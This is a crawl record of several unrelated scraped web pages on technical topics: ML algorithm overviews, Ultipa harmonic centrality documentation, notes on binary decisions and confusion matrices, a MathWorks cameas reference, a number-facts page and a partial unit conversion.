a relationship between dependent and independent variables. The linear equation helps in creating a line, also known as the regression line.\n\nYou can represent the linear equation as ‘Y= a*X + b,’ where each element has a dominant significance. The ‘Y’ in the equation represents a dependent variable, while ‘X’ represents an independent variable. The ‘a’ in the equation stands for the slope while ‘b’ represents the intercept. ‘a’ and ‘b’ are the coefficients in this equation, and you can find them by reducing the sum of squared difference of the distance between regression line and data points.\n\n• #### Support Vector Machine\n\nSupport Vector Machine or SVM is one of the popular additions among machine learning algorithms examples for beginners. Initially, SVMs were applied for data analysis use cases. The Support Vector Machine works by feeding a set of training examples in the SVM algorithm associated with a specific category. Subsequently, the algorithm would develop a model that allocates new data to one of the categories it learns during the training process.\n\nThe SVM algorithm also develops a hyperplane that could offer a difference between different categories. Processing a new data point and the type of presentation would help in classifying the data point into a specific class. In the case of trading, an SVM algorithm could be developed for classifying equity data alongside classifying test data on the basis of rules.\n\nWant to develop the skill in ChatGPT to familiarize yourself with the AI language model? Enroll Now in ChatGPT Fundamentals Course!\n\n• #### KNN Algorithm\n\nKNN or K-Nearest Neighbors algorithm is also one of the promising entries among the answers to ‘Which ML algorithms is best for beginners?” with multiple benefits. KNN algorithm leverages the complete data set as the training set rather than creating different collections of training and test sets. When you need an output for a new data instance, the KNN algorithm browses the complete dataset to find the k-nearest instances to new instances.\n\nThe algorithm could find the k number of instances that have the most similarities with the new record. It produces the output as the mean of results for regression problems or calculates the mode or more frequent class in the case of classification problems. It is important to remember that the user specifies the value of ‘k’ in the KNN machine learning algorithm. The algorithm also supports the use of Hamming distance and Euclidean distance for calculating the similarity between instances.\n\n• #### Principal Component Analysis\n\nPrincipal Component Analysis, or PCA, also qualifies as one of the most popular machine learning algorithms with diverse use cases. It helps in ensuring easier opportunities for exploring and visualization of data through a reduction in the number of variables. The algorithm reduces number of variables by capturing maximum variance in data in the form of a new coordinate system.\n\nThe axes in the coordinate system or principal components serve as the major component of PCA algorithms. Every component serves as a linear combination of original variables. In addition, PCA algorithms also feature orthogonality between components which ensures zero correlation between the components.\n\n• #### Naïve Bayes Algorithm\n\nThe Naïve Bayes algorithm is a type of classifier algorithm that assumes that a specific feature in a class does not have any relation to any other feature. It is one of the best machine learning algorithms as it also features specific conditions for related features. The Naïve Bayes classifier could independently account for all properties during the calculation of probabilities for specific outputs. On top of it, Naïve Bayesian algorithms are easy to create and could perform better than classification methods on massive datasets.\n\nWant to learn about the fundamentals of AI and Fintech? Enroll Now in AI And Fintech Masterclass now!\n\n• #### K-Means\n\nYou should not confuse K-Means with KNN clustering algorithm. K-means is a type of unsupervised learning algorithm focused on solving clustering issues. The algorithm involves classification of datasets into a specific number of clusters. Every data point in the cluster is similar to each other and different from data points in other clusters.\n\n• #### Dimensionality Reduction Algorithms\n\nThe list of machine learning algorithms also includes effective choices like dimensionality reduction algorithms. As the volume of data increases continuously, the task of processing data to identify patterns and variables has become a challenging task. Some of the notable dimensionality reduction algorithms include factor analysis and decision trees.\n\n• #### Decision Tree\n\nAnother top addition among the top machine learning algorithms is the decision tree algorithm. It helps in classification of problems through classification of continuous dependent and categorical variables. Furthermore, the algorithm classifies population into two or multiple homogenous sets according to most important attributes or independent variables.\n\n• #### Random Forest Algorithm\n\nThe Random Forest algorithm is a collection of decision trees. You can classify new objects according to their attributes by classifying each tree that would vote for the class. Subsequently, the forest would select the classification with maximum votes as compared to other trees.\n\nPreparing for Machine Learning Interview? Check our detailed guide on top 20 Machine Learning Interview Questions now!\n\n### Final Words\n\nThe review of fundamental details about machine learning algorithms and the different additions among best machine learning algorithms showcases the importance of machine learning. On the other hand, it is important to check the category of algorithms and your desired use case before choosing the algorithm. Machine learning models could offer different levels of performance according to the type of training approach and data they use. Learn more about machine learning fundamentals and explore the details of popular ML algorithms right now.", null, "" ]
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https://www.ultipa.com/document/ultipa-graph-analytics-algorithms/harmonic-centrality/v4.2
[ "", null, "", null, "# Change Nickname\n\nCurrent Nickname:\n\nv4.2\nSearch\n中文EN\nv4.2\n\n# Harmonic Centrality\n\n✓ File Writeback ✓ Property Writeback ✓ Direct Return ✓ Stream Return ✕ Stats\n\n## Overview\n\nHarmonic Centrality is a variant of Closeness Centrality. The average shortest distance measurement proposed by harmonic centrality is compatible with infinite values which would occur in disconnected graph. Harmonic centrality was first proposed by M. Marchiori and V. Latora in 2000, and then by A. Dekker and Y. Rochat in 2005 and 2009:\n\nHarmonic centrality takes on values between 0 to 1, nodes with higher scores have shorter distances to all other nodes.\n\n## Concepts\n\n### Shortest Distance\n\nThe shortest distance of two nodes is the number of edges contained in the shortest path between them. Please refer to Closeness Centrality for more details.\n\n### Harmonic Mean\n\nHarmonic mean is the inverse of the arithmetic mean of the inverses of the variables. The formula for calculating the arithmetic mean `A` and the harmonic mean `H` is as follows:", null, "A classic application of harmonic mean is to calculate the average speed when traveling back and forth at different speeds. Suppose there is a round trip, the forward and backward speeds are 30 km/h and 10 km/h respectively. What is the average speed for the entire trip?\n\nThe arithmetic mean `A = (30+10)/2 = 20 km/h` does not seem reasonable in this case. Since the backward journey takes three times as long as the forward, during most time of the entire trip the speed stays at 10 km/h, so we expect the average speed to be closer to 10 km/h.\n\nAssuming that one-way distance is 1, then the average speed that takes travel time into consideration is `2/(1/30+1/10) = 15 km/h`, and this is the harmonic mean, it is adjusted by the time spent during each journey.\n\n### Harmonic Centrality\n\nHarmonic centrality score of a node defined by this algorithm is the inverse of the harmonic mean of the shortest distances from the node to all other nodes. The formula is:", null, "where `x` is the target node, `y` is any node in the graph other than `x`, `k-1` is the number of `y`, `d(x,y)` is the shortest distance between `x` and `y`, `d(x,y) = +∞` when `x` and `y` are not reachable to each other, in this case `1/d(x,y) = 0`.", null, "The harmonic centrality of node a in the above graph is `(1 + 1/2 + 1/+∞ + 1/+∞) / 4 = 0.375`, and the harmonic centrality of node d is `(1/+∞ + 1/+∞ + 1/+∞ + 1) / 4 = 0.25`.\n\nHarmonic Centrality algorithm consumes considerable computing resources. In graph G = (V, E), it is recommended to perform (uniform) sampling when |V| > 10,000, and the suggested number of samples is the base-10 logarithm of the number of nodes (`log(|V|)`).\n\nFor each execution of the algorithm, sampling is performed only once, centrality score of each node is computed based on the shortest distance between the node and all sample nodes.\n\n## Considerations\n\n• The harmonic centrality score of isolated nodes is 0.\n\n## Syntax\n\n• Command: `algo(harmonic_centrality)`\n• Parameters:\nName\nType\nSpec\nDefault\nOptional\nDescription\nids / uuids []`_id` / []`_uuid` / / Yes ID/UUID of the nodes to calculate, calculate for all nodes if not set\ndirection string `in`, `out` / Yes Direction of all edges in each shortest path, `in` for incoming direction, `out` for outgoing direction\nsample_size int `-1`, `-2`, [1, |V|] -1 Yes Number of samples to compute centrality scores; `-1` samples `log(|V|)` nodes, `-2` performs no sampling; `sample_size` is only valid when `ids` (`uuids`) is ignored or when it specifies all nodes\nlimit int ≥-1 `-1` Yes Number of results to return, `-1` to return all results\norder string `asc`, `desc` / Yes Sort nodes by the centrality score\n\n## Examples\n\nThe example graph is as follows:", null, "### File Writeback\n\nSpec Content\nfilename `_id`,`centrality`\n``````algo(harmonic_centrality).params().write({\nfile:{\nfilename: \"centrality\"\n}\n})\n``````\n\nResults: File centrality\n\n``````LH,0\nLG,0.142857\nLF,0.142857\nLE,0.357143\nLD,0.357143\nLC,0.428571\nLB,0.428571\nLA,0.571429\n``````\n\n### Property Writeback\n\nSpec Content Write to Data Type\nproperty `centrality` Node property `float`\n``````algo(harmonic_centrality).params().write({\ndb:{\nproperty: \"hc\"\n}\n})\n``````\n\nResults: Centrality score for each node is written to a new property named hc\n\n### Direct Return\n\nAlias Ordinal Type\nDescription\nColumn Name\n0 []perNode Node and its centrality `_uuid`, `centrality`\n``````algo(harmonic_centrality).params({\ndirection: \"out\",\norder: \"desc\",\nlimit: 3\n}) as hc\nreturn hc\n``````\n\nResults: hc\n\n_uuid centrality\n1 0.35714301\n4 0.33333299\n3 0.28571400\n\n### Stream Return\n\nAlias Ordinal Type\nDescription\nColumn Name\n0 []perNode Node and its centrality `_uuid`, `centrality`\n\nExample: Calculate harmonic centrality for all nodes, return the results with centrality scores equal to 0\n\n``````algo(harmonic_centrality).params({\ndirection: \"in\"\n}).stream() as hc\nwhere hc.centrality == 0\nreturn hc\n``````\n\nResults: hc\n\n_uuid centrality\n8 0.0000000\n6 0.0000000\n4 0.0000000" ]
[ null, "https://www.ultipa.com/img/logo-web1.png", null, "https://www.ultipa.com/img/logo.svg", null, "https://img.ultipa.cn/2022-08-08-11-08-40-mean.jpg", null, "https://img.ultipa.cn/img/2023-03-07-14-09-45-hc.jpg", null, "https://img.ultipa.cn/draw/draw_f26abcc1ee494ff5a8f1c4286f20f31a.jpg", null, "https://img.ultipa.cn/draw/draw_4e275a7efabd4932af74edaafa9f7ef5.jpg", null ]
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https://notes.bencuan.me/data102/binary-decision-making/
[ "# Binary Decision Making\n\nBinary Decision Making is the simplest kind of decision we can make: 1 or 0, yes or now, true or false…\n\n## Setup #\n\nIn reality, a value is either 0 or 1. However, we observe noisy data that isn’t always 100% accurate. Given this noisy data, we make a decision (also either 0 or 1).\n\nSome examples of binary decisions are:\n\n• COVID testing (positive or negative)\n• Fraud detection (fraud or no fraud)\n\n## Confusion Matrix #\n\nA 2x2 table that helps us evaluate how effective our predictions were (columns) given reality (rows).", null, "### Terminology #\n\nhttps://en.wikipedia.org/wiki/Sensitivity_and_specificity Sensitivity = True Positive Rate Specificity = True Negative Rate\n\nTrue Negative Rate (TNR): $n_{TN}/(n_{TN} + n_{FP})$ (top row-wise, proportion correct out of all negative results)\n\n• 1 - TNR = False Positive Rate (FPR)\n• TNR = P(decision = 0 | reality = 0)\n• FPR = P(decision = 1 | reality = 0)\n\nTrue Positive Rate (TPR): $n_{TP} / (n_{FN} + n_{TP})$ (bottom row-wise, proportion correct out of all positive results)\n\n• 1 - TPR = False Negative Rate (FNR)\n• TPR = P(decision = 1 | reality = 1)\n• FNR = P(decision = 0 | reality = 1)\n\nFalse Discovery Proportion (FDP): $n_{FP} / (n_{FP} + n_{TP})$ (right column-wise, proportion of false positives out of all positive predictions)\n\n• Also known as False Discovery Rate (FDR)\n• P(reality = 0 | decision = 1)\n\nFalse Omission Proportion (FOP): $FN/(FN + TN)$ (left column-wise, proportion of false negatives out of all negative predictions)\n\n## Interpreting Row-wise and Column-wise rates #\n\nHere’s an example of interpreting values using COVID testing:\n\n• FPR: within people without COVID, how many test positive?\n• FDP: within positive tests, how many people don’t have COVID? (when the algorithm predicts yes, how often is it wrong?)\n\nDepending on the context, some values are more useful than others.\n\n“Within reality” = row-wise, “Within tests” = column-wise Sensitivity, specificity, recall -> row-wise precision, positive predictive value -> column-wise\n\n## Randomness: Bayesian vs Frequentist #\n\nWe always assume that the data itself is random. Since decisions are based on data, decisions are also random.\n\nHowever, depending on our mindset, we can either treat reality as fixed or random.\n\nIf reality is random (Bayesian mindset):\n\n• We need to specify how exactly reality is random (probability distribution for P(R=0), P(R=1)\n• $P(R=1) = \\pi_1$ (base rate or prevalence - how often a positive value actually occurs)\n• $\\pi_1 = 1 - \\pi_0$\n\nIf reality is fixed (Frequentist mindset):\n\n• Need row-wise error rates (FPR, FNR) to be as small as possible (need some tradeoffs)\n• Column-wise rates fixed\n• P(R=0|D=0) is not defined (since it’s not a probability!)\n• TNR can still be defined as a proportion of values though\n\n## Relating column-wise and row-wise rates #\n\nUsing Bayes’ rule: $$FDP = P(R=0|D=1) = \\frac{P(D=1|R=0)P(R=0)}{P(D=1)}$$ $$= \\frac{P(D=1|R=0)P(R=0)}{P(D=1|R=0)P(R=0) + P(D=1|R=1)P(R=1)}$$ $$FDP = \\frac{FPR \\cdot \\pi_0}{FPR \\cdot \\pi_0 + TPR \\cdot \\pi_1} = \\frac{1}{1+ \\frac{TPR}{FPR} \\cdot \\frac{\\pi_1}{\\pi_0}}$$\n\nThis expresses FDP, a column-wise rate, to TPR and FPR, which are both row-wise rates. Recall that $\\pi_0$ and $\\pi_1$ are the probabilities of the reality being 0 and 1, respectively.\n\nThe primary implication is that FDP approaches 0 as $\\pi_1 » \\pi_0$, and approaches 1 as $\\pi_1 « \\pi_0$.\n\nA secondary implication is that as TPR increases, FDP decreases (good); as FPR increases, FDP increases (bad).\n\nSummary of implications:\n\n• The worse the test is (large FPR), the higher the FDP.\n• The less prevalent an event is (small $\\pi_1$), the higher the FDP." ]
[ null, "https://notes.bencuan.me/data102/img/Untitled 24.png", null ]
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https://ch.mathworks.com/help/driving/ref/cameas.html
[ "# cameas\n\nMeasurement function for constant-acceleration motion\n\n## Syntax\n\n``measurement = cameas(state)``\n``measurement = cameas(state,frame)``\n``measurement = cameas(state,frame,sensorpos)``\n``measurement = cameas(state,frame,sensorpos,sensorvel)``\n``measurement = cameas(state,frame,sensorpos,sensorvel,laxes)``\n``measurement = cameas(state,measurementParameters)``\n\n## Description\n\nexample\n\n````measurement = cameas(state)` returns the measurement, for the constant-acceleration Kalman filter motion model in rectangular coordinates. The `state` argument specifies the current state of the filter.```\n\nexample\n\n````measurement = cameas(state,frame)` also specifies the measurement coordinate system, `frame`.```\n\nexample\n\n````measurement = cameas(state,frame,sensorpos)` also specifies the sensor position, `sensorpos`.```\n````measurement = cameas(state,frame,sensorpos,sensorvel)` also specifies the sensor velocity, `sensorvel`.```\n````measurement = cameas(state,frame,sensorpos,sensorvel,laxes)` also specifies the local sensor axes orientation, `laxes`.```\n\nexample\n\n````measurement = cameas(state,measurementParameters)` specifies the measurement parameters, `measurementParameters`.```\n\n## Examples\n\ncollapse all\n\nDefine the state of an object in 2-D constant-acceleration motion. The state is the position, velocity, and acceleration in both dimensions. The measurements are in rectangular coordinates.\n\n```state = [1,10,3,2,20,0.5].'; measurement = cameas(state)```\n```measurement = 3×1 1 2 0 ```\n\nThe measurement is returned in three-dimensions with the z-component set to zero.\n\nDefine the state of an object in 2-D constant-acceleration motion. The state is the position, velocity, and acceleration in both dimensions. The measurements are in spherical coordinates.\n\n```state = [1,10,3,2,20,5].'; measurement = cameas(state,'spherical')```\n```measurement = 4×1 63.4349 0 2.2361 22.3607 ```\n\nThe elevation of the measurement is zero and the range rate is positive. These results indicate that the object is moving away from the sensor.\n\nDefine the state of an object moving in 2-D constant-acceleration motion. The state consists of position, velocity, and acceleration in each dimension. The measurements are in spherical coordinates with respect to a frame located at (20;40;0) meters from the origin.\n\n```state = [1,10,3,2,20,5].'; measurement = cameas(state,'spherical',[20;40;0])```\n```measurement = 4×1 -116.5651 0 42.4853 -22.3607 ```\n\nThe elevation of the measurement is zero and the range rate is negative indicating that the object is moving toward the sensor.\n\nDefine the state of an object moving in 2-D constant-acceleration motion. The state consists of position, velocity, and acceleration in each dimension. The measurements are in spherical coordinates with respect to a frame located at (20;40;0) meters from the origin.\n\n`state2d = [1,10,3,2,20,5].';`\n\nThe elevation of the measurement is zero and the range rate is negative indicating that the object is moving toward the sensor.\n\n```frame = 'spherical'; sensorpos = [20;40;0]; sensorvel = [0;5;0]; laxes = eye(3); measurement = cameas(state2d,'spherical',sensorpos,sensorvel,laxes)```\n```measurement = 4×1 -116.5651 0 42.4853 -17.8885 ```\n\nThe elevation of the measurement is zero and the range rate is negative. These results indicate that the object is moving toward the sensor.\n\nPut the measurement parameters in a structure and use the alternative syntax.\n\n```measparm = struct('Frame',frame,'OriginPosition',sensorpos,'OriginVelocity',sensorvel, ... 'Orientation',laxes); measurement = cameas(state2d,measparm)```\n```measurement = 4×1 -116.5651 0 42.4853 -17.8885 ```\n\n## Input Arguments\n\ncollapse all\n\nKalman filter state vector for constant-acceleration motion, specified as a real-valued 3N-element vector. N is the number of spatial degrees of freedom of motion. For each spatial degree of motion, the state vector takes the form shown in this table.\n\nSpatial DimensionsState Vector Structure\n1-D`[x;vx;ax]`\n2-D`[x;vx;ax;y;vy;ay]`\n3-D`[x;vx;ax;y;vy;ay;z;vz;az]`\n\nFor example, `x` represents the x-coordinate, `vx` represents the velocity in the x-direction, and `ax` represents the acceleration in the x-direction. If the motion model is in one-dimensional space, the y- and z-axes are assumed to be zero. If the motion model is in two-dimensional space, values along the z-axis are assumed to be zero. Position coordinates are in meters. Velocity coordinates are in meters/second. Acceleration coordinates are in meters/second2.\n\nExample: `[5;0.1;0.01;0;-0.2;-0.01;-3;0.05;0]`\n\nData Types: `double`\n\nMeasurement frame, specified as `'rectangular'` or `'spherical'`. When the frame is `'rectangular'`, a measurement consists of the x, y, and z Cartesian coordinates of the tracked object. When specified as `'spherical'`, a measurement consists of the azimuth, elevation, range, and range rate of the tracked object.\n\nData Types: `char`\n\nSensor position with respect to the global coordinate system, specified as a real-valued 3-by-1 column vector. Units are in meters.\n\nData Types: `double`\n\nSensor velocity with respect to the global coordinate system, specified as a real-valued 3-by-1 column vector. Units are in meters/second.\n\nData Types: `double`\n\nLocal sensor coordinate axes, specified as a 3-by-3 orthogonal matrix. Each column specifies the direction of the local x-, y-, and z-axes, respectively, with respect to the global coordinate system.\n\nData Types: `double`\n\nMeasurement parameters, specified as a structure or an array of structures. The fields of the structure are:\n\nFieldDescriptionExample\n`Frame`\n\nFrame used to report measurements, specified as one of these values:\n\n• `'rectangular'` — Detections are reported in rectangular coordinates.\n\n• `'spherical'` — Detections are reported in spherical coordinates.\n\n`'spherical'`\n`OriginPosition`Position offset of the origin of the frame relative to the parent frame, specified as an `[x y z]` real-valued vector.`[0 0 0]`\n`OriginVelocity`Velocity offset of the origin of the frame relative to the parent frame, specified as a `[vx vy vz]` real-valued vector.`[0 0 0]`\n`Orientation`Frame rotation matrix, specified as a 3-by-3 real-valued orthonormal matrix.`[1 0 0; 0 1 0; 0 0 1]`\n`HasAzimuth`Logical scalar indicating if azimuth is included in the measurement.`1`\n`HasElevation`Logical scalar indicating if elevation is included in the measurement. For measurements reported in a rectangular frame, and if `HasElevation` is false, the reported measurements assume 0 degrees of elevation.`1`\n`HasRange`Logical scalar indicating if range is included in the measurement.`1`\n`HasVelocity`Logical scalar indicating if the reported detections include velocity measurements. For measurements reported in the rectangular frame, if `HasVelocity` is false, the measurements are reported as `[x y z]`. If `HasVelocity` is `true`, measurements are reported as `[x y z vx vy vz]`.`1`\n`IsParentToChild`Logical scalar indicating if `Orientation` performs a frame rotation from the parent coordinate frame to the child coordinate frame. When `IsParentToChild` is `false`, then `Orientation` performs a frame rotation from the child coordinate frame to the parent coordinate frame.`0`\n\nData Types: `struct`\n\n## Output Arguments\n\ncollapse all\n\nMeasurement vector, returned as an N-by-1 column vector. The form of the measurement depends upon which syntax you use.\n\n• When the syntax does not use the `measurementParameters` argument, the measurement vector is `[x,y,z]` when the `frame` input argument is set to `'rectangular'` and `[az;el;r;rr]` when the `frame` is set to `'spherical'`.\n\n• When the syntax uses the `measurementParameters` argument, the size of the measurement vector depends on the values of the `frame`, `HasVelocity`, and `HasElevation` fields in the `measurementParameters` structure.\n\nframemeasurement\n`'spherical'`\n\nSpecifies the azimuth angle, az, elevation angle, el, range, r, and range rate, rr, of the object with respect to the local ego vehicle coordinate system. Positive values for range rate indicate that an object is moving away from the sensor.\n\nSpherical measurements\n\nHasElevation\nfalsetrue\nHasVelocityfalse`[az;r]``[az;el;r]`\ntrue`[az;r;rr]``[az;el;r;rr]`\n\nAngle units are in degrees, range units are in meters, and range rate units are in m/s.\n\n`'rectangular`\n\nSpecifies the Cartesian position and velocity coordinates of the tracked object with respect to the ego vehicle coordinate system.\n\nRectangular measurements\n\n HasVelocity false `[x;y;y]` true `[x;y;z;vx;vy;vz]`\n\nPosition units are in meters and velocity units are in m/s.\n\nData Types: `double`\n\ncollapse all\n\n### Azimuth and Elevation Angle Definitions\n\nDefine the azimuth and elevation angles used in Automated Driving Toolbox™.\n\nThe azimuth angle of a vector is the angle between the x-axis and its orthogonal projection onto the xy plane. The angle is positive in going from the x axis toward the y axis. Azimuth angles lie between –180 and 180 degrees. The elevation angle is the angle between the vector and its orthogonal projection onto the xy-plane. The angle is positive when going toward the positive z-axis from the xy plane.", null, "" ]
[ null, "https://ch.mathworks.com/help/driving/ref/azel.png", null ]
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https://number.academy/9015102
[ "# Number 9015102\n\nNumber 9,015,102 spell 🔊, write in words: nine million, fifteen thousand, one hundred and two , approximately 9.0 million. Ordinal number 9015102nd is said 🔊 and write: nine million, fifteen thousand, one hundred and second. The meaning of the number 9015102 in Maths: Is it Prime? Factorization and prime factors tree. The square root and cube root of 9015102. What is 9015102 in computer science, numerology, codes and images, writing and naming in other languages\n\n## What is 9,015,102 in other units\n\nThe decimal (Arabic) number 9015102 converted to a Roman number is (M)(M)(M)(M)(M)(M)(M)(M)(M)(X)(V)CII. Roman and decimal number conversions.\n\n#### Weight conversion\n\n9015102 kilograms (kg) = 19874693.9 pounds (lbs)\n9015102 pounds (lbs) = 4089223.4 kilograms (kg)\n\n#### Length conversion\n\n9015102 kilometers (km) equals to 5601723 miles (mi).\n9015102 miles (mi) equals to 14508405 kilometers (km).\n9015102 meters (m) equals to 29576747 feet (ft).\n9015102 feet (ft) equals 2747837 meters (m).\n9015102 centimeters (cm) equals to 3549252.8 inches (in).\n9015102 inches (in) equals to 22898359.1 centimeters (cm).\n\n#### Temperature conversion\n\n9015102° Fahrenheit (°F) equals to 5008372.2° Celsius (°C)\n9015102° Celsius (°C) equals to 16227215.6° Fahrenheit (°F)\n\n#### Time conversion\n\n(hours, minutes, seconds, days, weeks)\n9015102 seconds equals to 3 months, 2 weeks, 6 days, 8 hours, 11 minutes, 42 seconds\n9015102 minutes equals to 1 decade, 8 years, 7 months, 2 weeks, 2 days, 11 hours, 42 minutes\n\n### Codes and images of the number 9015102\n\nNumber 9015102 morse code: ----. ----- .---- ..... .---- ----- ..---\nSign language for number 9015102:", null, "", null, "", null, "", null, "", null, "", null, "", null, "Number 9015102 in braille:", null, "QR code Bar code, type 39", null, "", null, "Images of the number Image (1) of the number Image (2) of the number", null, "", null, "More images, other sizes, codes and colors ...\n\n## Share in social networks", null, "## Mathematics of no. 9015102\n\n### Multiplications\n\n#### Multiplication table of 9015102\n\n9015102 multiplied by two equals 18030204 (9015102 x 2 = 18030204).\n9015102 multiplied by three equals 27045306 (9015102 x 3 = 27045306).\n9015102 multiplied by four equals 36060408 (9015102 x 4 = 36060408).\n9015102 multiplied by five equals 45075510 (9015102 x 5 = 45075510).\n9015102 multiplied by six equals 54090612 (9015102 x 6 = 54090612).\n9015102 multiplied by seven equals 63105714 (9015102 x 7 = 63105714).\n9015102 multiplied by eight equals 72120816 (9015102 x 8 = 72120816).\n9015102 multiplied by nine equals 81135918 (9015102 x 9 = 81135918).\nshow multiplications by 6, 7, 8, 9 ...\n\n### Fractions: decimal fraction and common fraction\n\n#### Fraction table of 9015102\n\nHalf of 9015102 is 4507551 (9015102 / 2 = 4507551).\nOne third of 9015102 is 3005034 (9015102 / 3 = 3005034).\nOne quarter of 9015102 is 2253775,5 (9015102 / 4 = 2253775,5 = 2253775 1/2).\nOne fifth of 9015102 is 1803020,4 (9015102 / 5 = 1803020,4 = 1803020 2/5).\nOne sixth of 9015102 is 1502517 (9015102 / 6 = 1502517).\nOne seventh of 9015102 is 1287871,7143 (9015102 / 7 = 1287871,7143 = 1287871 5/7).\nOne eighth of 9015102 is 1126887,75 (9015102 / 8 = 1126887,75 = 1126887 3/4).\nOne ninth of 9015102 is 1001678 (9015102 / 9 = 1001678).\nshow fractions by 6, 7, 8, 9 ...\n\n### Calculator\n\n 9015102\n\n#### Is Prime?\n\nThe number 9015102 is not a prime number.\n\n#### Factorization and factors (dividers)\n\nThe prime factors of 9015102 are 2 * 3 * 3 * 500839\nThe factors of 9015102 are 1 , 2 , 3 , 6 , 9 , 18 , 500839 , 1001678 , 1502517 , 3005034 , 4507551 , 9015102\nTotal factors 12.\nSum of factors 19532760 (10517658).\n\n#### Powers\n\nThe second power of 90151022 is 81.272.064.070.404.\nThe third power of 90151023 is 732.675.947.345.227.284.480.\n\n#### Roots\n\nThe square root √9015102 is 3002,515945.\nThe cube root of 39015102 is 208,124663.\n\n#### Logarithms\n\nThe natural logarithm of No. ln 9015102 = loge 9015102 = 16,014412.\nThe logarithm to base 10 of No. log10 9015102 = 6,954971.\nThe Napierian logarithm of No. log1/e 9015102 = -16,014412.\n\n### Trigonometric functions\n\nThe cosine of 9015102 is 0,958919.\nThe sine of 9015102 is 0,28368.\nThe tangent of 9015102 is 0,295833.\n\n### Properties of the number 9015102\n\nIs a Fibonacci number: No\nIs a Bell number: No\nIs a palindromic number: No\nIs a pentagonal number: No\nIs a perfect number: No\n\n## Number 9015102 in Computer Science\n\nCode typeCode value\n9015102 Number of bytes8.6MB\nUnix timeUnix time 9015102 is equal to Wednesday April 15, 1970, 8:11:42 a.m. GMT\nIPv4, IPv6Number 9015102 internet address in dotted format v4 0.137.143.62, v6 ::89:8f3e\n9015102 Decimal = 100010011000111100111110 Binary\n9015102 Decimal = 121222000101200 Ternary\n9015102 Decimal = 42307476 Octal\n9015102 Decimal = 898F3E Hexadecimal (0x898f3e hex)\n9015102 BASE64OTAxNTEwMg==\n9015102 MD519f8c319ca0848a57efba1d3e5be7a9a\n9015102 SHA1b511a16930c7ae29b492f429bc68c06f3d290961\n9015102 SHA224a0220231bee0dd08c9ae1baab8273281455232334d1e079fc3d28a62\n9015102 SHA2566d6672f31505442880eb4228c8b974eefa6d0015e28e5277c1669ee32cf8819a\nMore SHA codes related to the number 9015102 ...\n\nIf you know something interesting about the 9015102 number that you did not find on this page, do not hesitate to write us here.\n\n## Numerology 9015102\n\n### Character frequency in the number 9015102\n\nCharacter (importance) frequency for numerology.\n Character: Frequency: 9 1 0 2 1 2 5 1 2 1\n\n### Classical numerology\n\nAccording to classical numerology, to know what each number means, you have to reduce it to a single figure, with the number 9015102, the numbers 9+0+1+5+1+0+2 = 1+8 = 9 are added and the meaning of the number 9 is sought.\n\n## № 9,015,102 in other languages\n\nHow to say or write the number nine million, fifteen thousand, one hundred and two in Spanish, German, French and other languages. The character used as the thousands separator.\n Spanish: 🔊 (número 9.015.102) nueve millones quince mil ciento dos German: 🔊 (Nummer 9.015.102) neun Millionen fünfzehntausendeinhundertzwei French: 🔊 (nombre 9 015 102) neuf millions quinze mille cent deux Portuguese: 🔊 (número 9 015 102) nove milhões e quinze mil, cento e dois Hindi: 🔊 (संख्या 9 015 102) नब्बे लाख, पंद्रह हज़ार, एक सौ, दो Chinese: 🔊 (数 9 015 102) 九百零一万五千一百零二 Arabian: 🔊 (عدد 9,015,102) تسعة ملايين و خمسة عشر ألفاً و مائة و اثنان Czech: 🔊 (číslo 9 015 102) devět milionů patnáct tisíc sto dva Korean: 🔊 (번호 9,015,102) 구백일만 오천백이 Danish: 🔊 (nummer 9 015 102) ni millioner femtentusinde og ethundrede og to Dutch: 🔊 (nummer 9 015 102) negen miljoen vijftienduizendhonderdtwee Japanese: 🔊 (数 9,015,102) 九百一万五千百二 Indonesian: 🔊 (jumlah 9.015.102) sembilan juta lima belas ribu seratus dua Italian: 🔊 (numero 9 015 102) nove milioni e quindicimilacentodue Norwegian: 🔊 (nummer 9 015 102) ni million, femten tusen, en hundre og to Polish: 🔊 (liczba 9 015 102) dziewięć milionów piętnaście tysięcy sto dwa Russian: 🔊 (номер 9 015 102) девять миллионов пятнадцать тысяч сто два Turkish: 🔊 (numara 9,015,102) dokuzmilyononbeşbinyüziki Thai: 🔊 (จำนวน 9 015 102) เก้าล้านหนึ่งหมื่นห้าพันหนึ่งร้อยสอง Ukrainian: 🔊 (номер 9 015 102) дев'ять мiльйонiв п'ятнадцять тисяч сто двi Vietnamese: 🔊 (con số 9.015.102) chín triệu mười lăm nghìn một trăm lẻ hai Other languages ...\n\n## News to email\n\nI have read the privacy policy\n\n## Comment\n\nIf you know something interesting about the number 9015102 or any other natural number (positive integer), please write to us here or on Facebook." ]
[ null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-9.png", null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-0.png", null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-1.png", null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-5.png", null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-1.png", null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-0.png", null, "https://numero.wiki/s/senas/lenguaje-de-senas-numero-2.png", null, "https://number.academy/img/braille-9015102.svg", null, "https://numero.wiki/img/codigo-qr-9015102.png", null, "https://numero.wiki/img/codigo-barra-9015102.png", null, "https://numero.wiki/img/a-9015102.jpg", null, "https://numero.wiki/img/b-9015102.jpg", null, "https://numero.wiki/s/share-desktop.png", null ]
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https://convertoctopus.com/281-cubic-centimeters-to-teaspoons
[ "## Conversion formula\n\nThe conversion factor from cubic centimeters to teaspoons is 0.20288413535365, which means that 1 cubic centimeter is equal to 0.20288413535365 teaspoons:\n\n1 cm3 = 0.20288413535365 tsp\n\nTo convert 281 cubic centimeters into teaspoons we have to multiply 281 by the conversion factor in order to get the volume amount from cubic centimeters to teaspoons. We can also form a simple proportion to calculate the result:\n\n1 cm3 → 0.20288413535365 tsp\n\n281 cm3 → V(tsp)\n\nSolve the above proportion to obtain the volume V in teaspoons:\n\nV(tsp) = 281 cm3 × 0.20288413535365 tsp\n\nV(tsp) = 57.010442034377 tsp\n\nThe final result is:\n\n281 cm3 → 57.010442034377 tsp\n\nWe conclude that 281 cubic centimeters is equivalent to 57.010442034377 teaspoons:\n\n281 cubic centimeters = 57.010442034377 teaspoons\n\n## Alternative conversion\n\nWe can also convert by utilizing the inverse value of the conversion factor. In this case 1 teaspoon is equal to 0.017540646315231 × 281 cubic centimeters.\n\nAnother way is saying that 281 cubic centimeters is equal to 1 ÷ 0.017540646315231 teaspoons.\n\n## Approximate result\n\nFor practical purposes we can round our final result to an approximate numerical value. We can say that two hundred eighty-one cubic centimeters is approximately fifty-seven point zero one 